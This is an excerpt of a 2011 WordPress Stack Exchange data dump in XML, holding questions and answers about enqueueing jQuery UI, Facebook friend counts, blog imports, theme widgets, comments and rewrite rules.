$j(&quot;#manita-imagen&quot;).mouseover(function(){&#xA;            //$j(this).animate({ opacity: &quot;hide&quot; })&#xA;            // alert('asd');&#xA;            $j(this).effect(&quot;shake&quot;, { times:3 }, 300);&#xA;        });&#xA;    });&#xA;&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="1806" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-14T22:48:58.300" LastActivityDate="2011-08-24T15:45:39.593" Title="How to correctly include jquery-ui effects on wordpress" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="3" />
  <row Id="7222" PostTypeId="2" ParentId="7221" CreationDate="2011-01-18T22:51:21.560" Score="2" ViewCount="" Body="&lt;p&gt;There doesn't appear to be a default load for this jQuery library (full list &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) so you'll likely have to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;register&lt;/a&gt; the script before you enqueue it.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-18T22:51:21.560" CommentCount="2" />
  <row Id="7223" PostTypeId="2" ParentId="7221" CreationDate="2011-01-18T23:06:10.470" Score="2" ViewCount="" Body="&lt;p&gt;@dabito,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're not loading your scripts right ...  Don't call &lt;code&gt;wp_enqueue_script()&lt;/code&gt; inside your theme template file (this looks like it's &lt;code&gt;header.php&lt;/code&gt;).  You need to call this function from a separate hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme's &lt;code&gt;functions.php&lt;/code&gt; file, place the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_add_frontend_scripts() {&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('jquery-ui-core');&#xA;}&#xA;add_action('wp_enqueue_scripts', 'my_add_frontend_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If both scripts are properly registered, this should load them just fine (by adding the appropriate &lt;code&gt;&amp;lt;script /&amp;gt;&lt;/code&gt; tags in the header.  Then your other JavaScript code should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add scripts to the &lt;em&gt;admin&lt;/em&gt; side of things, add your action to &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-14T21:44:32.770" LastActivityDate="2011-02-14T21:44:32.770" CommentCount="4" />
  <row Id="7224" PostTypeId="1" CreationDate="2011-01-18T23:14:09.150" Score="1" ViewCount="234" Body="&lt;p&gt;I have two separate WordPress accounts. I want to import one of the blogs to the other one. Both of these blogs are hosted on WordPress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried is to export the one blog to an XML file on my computer. Then, from the other blog, I imported the XML file. I get the page that asks with which user on the importing blog I want to associate the author on the exported blog. I do that and click submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing changes. The import page just reloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-19T04:03:00.170" LastActivityDate="2011-08-17T20:26:02.673" Title="How does one import a WordPress.com blog into another WordPress.com blog?" Tags="&lt;wordpress.com&gt;&lt;import&gt;&lt;blog&gt;" AnswerCount="2" />
  <row Id="7225" PostTypeId="1" AcceptedAnswerId="7227" CreationDate="2011-01-18T23:34:20.573" Score="0" ViewCount="1210" Body="&lt;p&gt;Is there a simple PHP or Javascript method of getting the total number of FaceBook friends? Twitter makes it super easy to do that, and I need to do the same for one of my WordPress installs.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-01T20:14:43.783" Title="Get FaceBook Friend Count" Tags="&lt;facebook&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7226" PostTypeId="2" ParentId="7111" CreationDate="2011-01-18T23:39:54.610" Score="0" ViewCount="" Body="&lt;p&gt;Look at the answers given to this question:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3305/how-to-use-more-than-256mb-of-memory-in-the-admin&quot;&gt;How to use more than 256MB of memory in the admin?&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Basically, there are some memory limits that are hard-coded, and one or two that are filterable. If you need to increase upload file size limits and memory limits, maybe some of those suggestions may help.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-18T23:39:54.610" CommentCount="1" />
  <row Id="7227" PostTypeId="2" ParentId="7225" CreationDate="2011-01-19T01:42:09.120" Score="5" ViewCount="" Body="&lt;p&gt;To get your friends as a JSON object from Facebook, you can use their Graph API. Easiest way is to visit this page:&#xA;&lt;a href=&quot;http://developers.facebook.com/docs/reference/api/user/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/reference/api/user/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down until you find the Friends link in the &quot;Connections&quot; table. That link will give you a JSON object containing all your friends. Note that the URL on that page is unique to you and contains your access token. Don't share the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this sort of code in WP to get and use that information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body = wp_remote_retrieve_body(wp_remote_get('YOUR_FB_URL', array('sslverify'=&amp;gt;false)));&#xA;$dec = json_decode($body);&#xA;echo count($dec-&amp;gt;data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll want to use transients or something similar to cache the data so that you don't ask FB for it all the time.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-19T01:42:09.120" CommentCount="7" />
  <row Id="7228" PostTypeId="2" ParentId="7225" CreationDate="2011-01-19T01:51:10.687" Score="2" ViewCount="" Body="&lt;p&gt;yes facebook does have a way for you to do that.&#xA;you can use the facebook &lt;a href=&quot;http://developers.facebook.com/docs/reference/api/user/&quot; rel=&quot;nofollow&quot;&gt;graph api and its user|friend connection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first create an application at&#xA;   &lt;a href=&quot;http://www.facebook.com/developers/&quot; rel=&quot;nofollow&quot;&gt;http://www.facebook.com/developers/&lt;/a&gt;&#xA;   you might need to add the developer&#xA;   application to your profile and you&#xA;   will see a button &quot;Set Up New App&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then download this facebook php&#xA;   wrapper from here&#xA;   &lt;a href=&quot;https://github.com/facebook/php-sdk/blob/master/src/facebook.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/facebook/php-sdk/blob/master/src/facebook.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then you can work with this PHP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//require the file you downloaded&#xA;require 'facebook.php';&#xA;&#xA;$facebook = new Facebook(array(&#xA;                            'appId' =&amp;gt;'myid', //change to your APP ID&#xA;                            'secret'=&amp;gt;'mysecret',  //change to your SECRET code&#xA;                            'cookie'=&amp;gt;true,&#xA;                            ));&#xA;&#xA;$session = $facebook-&amp;gt;getSession();&#xA;$friends = $facebook-&amp;gt;api('/me/friends');&#xA;$friends_count=0;&#xA;foreach($friends as $person){&#xA; $friends_count = $friends_count + 1;&#xA;}&#xA;&#xA;echo $friends_count;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;enjoy!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T01:51:10.687" CommentCount="2" />
  <row Id="7229" PostTypeId="2" ParentId="7221" CreationDate="2011-01-19T01:52:42.650" Score="10" ViewCount="" Body="&lt;p&gt;While WordPress does include the jQuery UI libraries, it does not include the UI/Effects library. That library is separate and standalone. You'll need to include a copy of the effects.core.js file and enqueue it separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you should name it jquery-ui-effects when en-queuing it, for naming consistency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can include it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script(&quot;jquery-ui-effects&quot;,'http://example.com/whatever/effects.core.js', array('jquery'), '1.8.8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-19T01:52:42.650" />
  <row Id="7230" PostTypeId="2" ParentId="7177" CreationDate="2011-01-19T02:04:07.003" Score="4" ViewCount="" Body="&lt;p&gt;Yes, use the &quot;import_id&quot; field in the post, when calling wp_insert_post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is treated as a &quot;suggested&quot; ID for the post that will be used if no post with that ID already exists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = array(&#xA;'post_title'=&amp;gt;'whatever',&#xA;'post_content'=&amp;gt;'whatever',&#xA;'import_id'=&amp;gt;123&#xA;);&#xA;wp_insert_post($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-19T02:04:07.003" />
  <row Id="7231" PostTypeId="2" ParentId="7224" CreationDate="2011-01-19T02:09:35.163" Score="0" ViewCount="" Body="&lt;p&gt;If you'd like to replace a wordpress blog with another wordpress blog see this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to import wordpress posts into a blog you can use the wordpress importer plugin found here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-importer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-importer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to import the posts you must first export them from the other blog though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find out more about export here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Administration_Panels#Export&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Administration_Panels#Export&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1972" LastActivityDate="2011-01-19T02:09:35.163" CommentCount="2" />
  <row Id="7232" PostTypeId="1" CreationDate="2011-01-19T02:14:40.417" Score="1" ViewCount="83" Body="&lt;p&gt;I have about 10 different category posts etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, withing each category there is the next and previous navigation to toggle between posts. When you reach the Last post in a category, the next navigation then takes you to the NEXT category...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there there a way to loop only withing the category with the next and previous?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The Category Loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if (function_exists('childtheme_override_category_loop'))  {&#xA;    function thematic_category_loop() {&#xA;        childtheme_override_category_loop();&#xA;    }&#xA;} else {&#xA;    function thematic_category_loop() {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    while (have_posts()) : the_post(); &#xA;&#xA;            thematic_abovepost(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;post-&amp;lt;?php the_ID();&#xA;                echo '&quot; ';&#xA;                if (!(THEMATIC_COMPATIBLE_POST_CLASS)) {&#xA;                    post_class();&#xA;                    echo '&amp;gt;';&#xA;                } else {&#xA;                    echo 'class=&quot;';&#xA;                    thematic_post_class();&#xA;                    echo '&quot;&amp;gt;';&#xA;                }&#xA;                thematic_postheader(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;                &amp;lt;?php thematic_postfooter(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #post --&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;&#xA;            thematic_belowpost();&#xA;&#xA;    endwhile;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;} // end category_loop&lt;/p&gt;&#xA;" OwnerUserId="2583" LastEditorUserId="2583" LastEditorDisplayName="" LastEditDate="2011-01-19T23:47:36.150" LastActivityDate="2011-01-19T23:47:36.150" Title="Post navigation" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="7233" PostTypeId="2" ParentId="7211" CreationDate="2011-01-19T02:43:36.803" Score="0" ViewCount="" Body="&lt;p&gt;Okay, so here's what seems to be happening. Adding capabilities directly to the role when it's created doesn't seem to work (at least for me). So, instead of this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_role('free_vendor', 'Free Vendor Listing', array('read', 'edit_posts', 'delete_posts', 'display_map'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$free_vendor_caps = array('read', 'edit_posts', 'delete_posts', 'display_map');&#xA;add_role('free_vendor', 'Free Vendor Listing');&#xA;$free_vendor = get_role('free_vendor');&#xA;foreach ($free_vendor_caps as $cap) {&#xA;    $free_vendor-&amp;gt;add_cap($cap);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can do what I need to do with &lt;code&gt;author_can()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (author_can($post-&amp;gt;ID, 'display_map')) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;map&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Map&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;?php the_map(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-01-19T02:43:36.803" />
  <row Id="7234" PostTypeId="1" AcceptedAnswerId="7236" CreationDate="2011-01-19T05:03:38.120" Score="0" ViewCount="136" Body="&lt;p&gt;I am trying to remove the default widgets in a theme that I found here: &lt;a href=&quot;http://top-wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;http://top-wordpress.net/&lt;/a&gt; The theme is Terapathy. In case of some of the most used themes, if I select the custom widgets, the default theme widgets disappear. But with Terapathy theme or any of the themes found in that site it is not possible. Is there anything I can do to remove those widgets.&lt;/p&gt;&#xA;" OwnerUserId="2585" LastActivityDate="2011-01-19T07:12:15.523" Title="Removing default theme widgets" Tags="&lt;widgets&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7235" PostTypeId="2" ParentId="7232" CreationDate="2011-01-19T05:30:48.860" Score="1" ViewCount="" Body="&lt;p&gt;i had the same problem with one of my sites and i used this hack:&#xA;on your themes category.php (or if your doesn't have one then archive.php )&#xA;before the loop part witch is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category()){&#xA;     $category = $current_category = single_cat_title(&quot;&quot;, false); &#xA;    if(isset(get_query_var( 'page' ))){&#xA;        $page = get_query_var( 'page' );&#xA;    }&#xA;    else{&#xA;        $page = 1;&#xA;    }&#xA;    global $wp_query;&#xA;    query_posts(&#xA;        array_merge(&#xA;            array( 'cat' =&amp;gt; $category, 'paged' =&amp;gt; $page ),&#xA;            $wp_query-&amp;gt;query&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should loop only within the category.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T05:30:48.860" CommentCount="6" />
  <row Id="7236" PostTypeId="2" ParentId="7234" CreationDate="2011-01-19T06:06:46.990" Score="2" ViewCount="" Body="&lt;p&gt;you can remove them by adding a blank text widget&#xA;or you can open the sidebar.php file of the theme witch looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- begin box about --&amp;gt;&#xA;        &amp;lt;!-- begin sidebar --&amp;gt;&#xA;        &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;&#xA;&#xA;          &amp;lt;h2&amp;gt;About&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;sidebox&quot;&amp;gt;&#xA;&amp;lt;img id=&quot;aboutimg&quot; src=&quot;&amp;lt;?php echo get_option('cici_about_image')?&amp;gt;&quot; alt=&quot;about&quot;  /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo stripslashes(get_option('cici_about_txt')); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&amp;lt;h2&amp;gt;Advertisement&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;sidebox&quot;&amp;gt;&#xA;&amp;lt;?php if(get_option('cici_ads')=='yes'){?&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/ad1.php'); ?&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php if(get_option('cici_videos')=='yes'){?&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/video.php'); ?&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Popular Articles&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul class=&quot;popular&quot;&amp;gt;&#xA;&amp;lt;?php pp_popular_posts(4); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;h2&amp;gt;Flickr Photos&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div id=&quot;flickr&quot;&amp;gt;&#xA;&amp;lt;?php if (function_exists('get_flickrRSS')) get_flickrRSS(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php &#xA;    /* Widgetized sidebar */&#xA;    if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- end sidebar --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- end colRight --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove all of the static widgets so you get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- begin box about --&amp;gt;&#xA;            &amp;lt;!-- begin sidebar --&amp;gt;&#xA;            &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;    /* Widgetized sidebar */&#xA;    if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- end sidebar --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- end colRight --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is right about the Terapathy theme, but you get the point and you can do that to any other theme with static widgets in sidebars.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T06:06:46.990" />
  <row Id="7238" PostTypeId="1" AcceptedAnswerId="7575" CreationDate="2011-01-19T07:26:20.243" Score="0" ViewCount="149" Body="&lt;p&gt;Does anybody know a &quot;related post&quot; plugin with behavior like the one at inc.com. For a demo, visit any article at inc.com (ex: &lt;a href=&quot;http://www.inc.com/guides/2010/10/how-to-design-a-great-about-us-page.html&quot; rel=&quot;nofollow&quot;&gt;http://www.inc.com/guides/2010/10/how-to-design-a-great-about-us-page.html&lt;/a&gt;) scroll down to the end of the article and you will notice a box sliding in from the bottom right corner of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this is just like any other related post plugin, I feel its behavior increases site retention.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers will be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2587" LastEditorUserId="2587" LastEditorDisplayName="" LastEditDate="2011-01-19T13:33:30.970" LastActivityDate="2011-05-16T13:31:20.847" Title="Looking for a related post plugin which slides-in like the one at inc.com does" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;post-thumbnails&gt;" AnswerCount="3" />
  <row Id="7239" PostTypeId="1" CreationDate="2011-01-19T08:20:35.053" Score="0" ViewCount="73" Body="&lt;p&gt;I am working on a theme that I found here: &lt;a href=&quot;http://top-wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;http://top-wordpress.net/&lt;/a&gt; The theme is Terapy. I turned off comment option in the admin panel, but the blog posts show that &quot;commenting is not allowed&quot;. I want to completely turn off comments, so that the blog looks like a site (nothing about comments should appear in posts and pages). How can I turn off commenting in the above templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the index.php I removed this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;metaComments&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;#comments&quot;&amp;gt;&amp;lt;?php comments_number('0 Comments','1 Comment','% Comments'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the posts in the front page don't show how many comments are there. Now only thing that should be done is completely removing commenting option from the template. How can it be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I misspelled the name of the theme. &lt;a href=&quot;http://demo.top-wordpress.net/MagPress3/?preview_theme=Teraphy&quot; rel=&quot;nofollow&quot;&gt;Here is the link to the demo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2585" LastEditorUserId="2585" LastEditorDisplayName="" LastEditDate="2011-01-19T10:48:38.230" LastActivityDate="2011-01-19T11:13:49.353" Title="Removing comment option" Tags="&lt;comments&gt;&lt;template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7240" PostTypeId="2" ParentId="7238" CreationDate="2011-01-19T08:50:28.080" Score="0" ViewCount="" Body="&lt;p&gt;i use &lt;a href=&quot;http://mitcho.com/code/yarpp/&quot; rel=&quot;nofollow&quot;&gt;http://mitcho.com/code/yarpp/&lt;/a&gt;&#xA;very good , customizable and with many settings&lt;/p&gt;&#xA;" OwnerUserId="2589" LastActivityDate="2011-01-19T08:50:28.080" CommentCount="4" />
  <row Id="7241" PostTypeId="1" AcceptedAnswerId="7263" CreationDate="2011-01-19T08:56:08.883" Score="0" ViewCount="276" Body="&lt;p&gt;I want to allow my users to upload files in admin panel, but I'm not sure where should I upload these files and how the script should look like?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Please provide link to a file or click &quot;Upload&quot; to upload it from your PC:&amp;lt;/p&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;Link: &amp;lt;input type=&quot;text&quot; name =&quot;logo_url&quot;&amp;gt;&#xA;Upload: &amp;lt;input type=&quot;file&quot; name=&quot;logo_file&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;Submit&quot; value=&quot;Upload&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should back-end look for that script? I mean the type=&quot;file&quot; part :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and of course I have fully working theme option page (so the first input works like a charm).&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-01-19T15:56:33.437" Title="Uploading files in admin panel?" Tags="&lt;admin&gt;&lt;uploads&gt;&lt;theme-options&gt;" AnswerCount="2" />
  <row Id="7242" PostTypeId="1" CreationDate="2011-01-19T08:57:09.227" Score="6" ViewCount="1124" Body="&lt;p&gt;We would like to translate our Wordpress installation into multiple languages.&#xA;I found the following 3 plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ICanLocalize&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/icanlocalize-translator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/icanlocalize-translator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GTS Translation&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/gts-translation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gts-translation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Straker&#xA;&lt;a href=&quot;http://www.strakersoftware.com/straker/index.cfm?3B36AF5E-65E2-4D8F-8F16-B5B863523FF2&quot; rel=&quot;nofollow&quot;&gt;http://www.strakersoftware.com/straker/index.cfm?3B36AF5E-65E2-4D8F-8F16-B5B863523FF2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard the ICanLocalize is a bit of a mess. Don't know the others. It's not sooo important to have an integration with a translation agency, but really just to have the website up in multiple languages with a reasonable link structure.&lt;/p&gt;&#xA;" OwnerUserId="1021" LastActivityDate="2011-01-20T16:15:42.267" Title="Best Wordpress Localization Plugin?" Tags="&lt;multi-language&gt;&lt;google-translate&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" />
  <row Id="7243" PostTypeId="1" CreationDate="2011-01-19T09:14:42.730" Score="0" ViewCount="323" Body="&lt;p&gt;I'm trying to get WordPress to recognize a URL structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;example.com/parent/page/{id}/{first_name}/{last_name}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The basic ideea is that I need to access the &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;first_name&lt;/code&gt; and &lt;code&gt;last_name&lt;/code&gt; in my page and they have to come via the URL. So I have to put rules like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(/some_page/child_page/)/([0-9]+)/([^/]+)/([^/]+) =&gt;&#xA;index.php?pagename=$matches[1]&amp;id=$matches[2]&amp;fname=$matches[3]&amp;lname=$matches[4]&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for every page, by using the &lt;code&gt;page_rewrite_rules&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: How to I get the &quot;pagename&quot; for every page? The &lt;code&gt;/some_page/child_page/&lt;/code&gt; part. I can get the &lt;code&gt;post_name&lt;/code&gt; but then I miss the parent, grandfather page.&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-21T10:49:22.873" LastActivityDate="2011-01-21T10:49:22.873" Title="Custom rewrite rules for pages" Tags="&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7244" PostTypeId="1" AcceptedAnswerId="7246" CreationDate="2011-01-19T10:16:53.527" Score="1" ViewCount="274" Body="&lt;p&gt;Is there a parameter that can be passed to wp_list_categories, to get a certain number of posts from each category? Or a plugin that does something like that? A similar question was in the &lt;a href=&quot;http://wordpress.org/support/topic/wp_list_categories-with-posts&quot; rel=&quot;nofollow&quot;&gt;Wordpress support forum&lt;/a&gt;, but it doesn't do exactly what I want.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-02-05T05:17:02.960" Title="plugin for wp_list_categories with posts" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" FavoriteCount="1" />
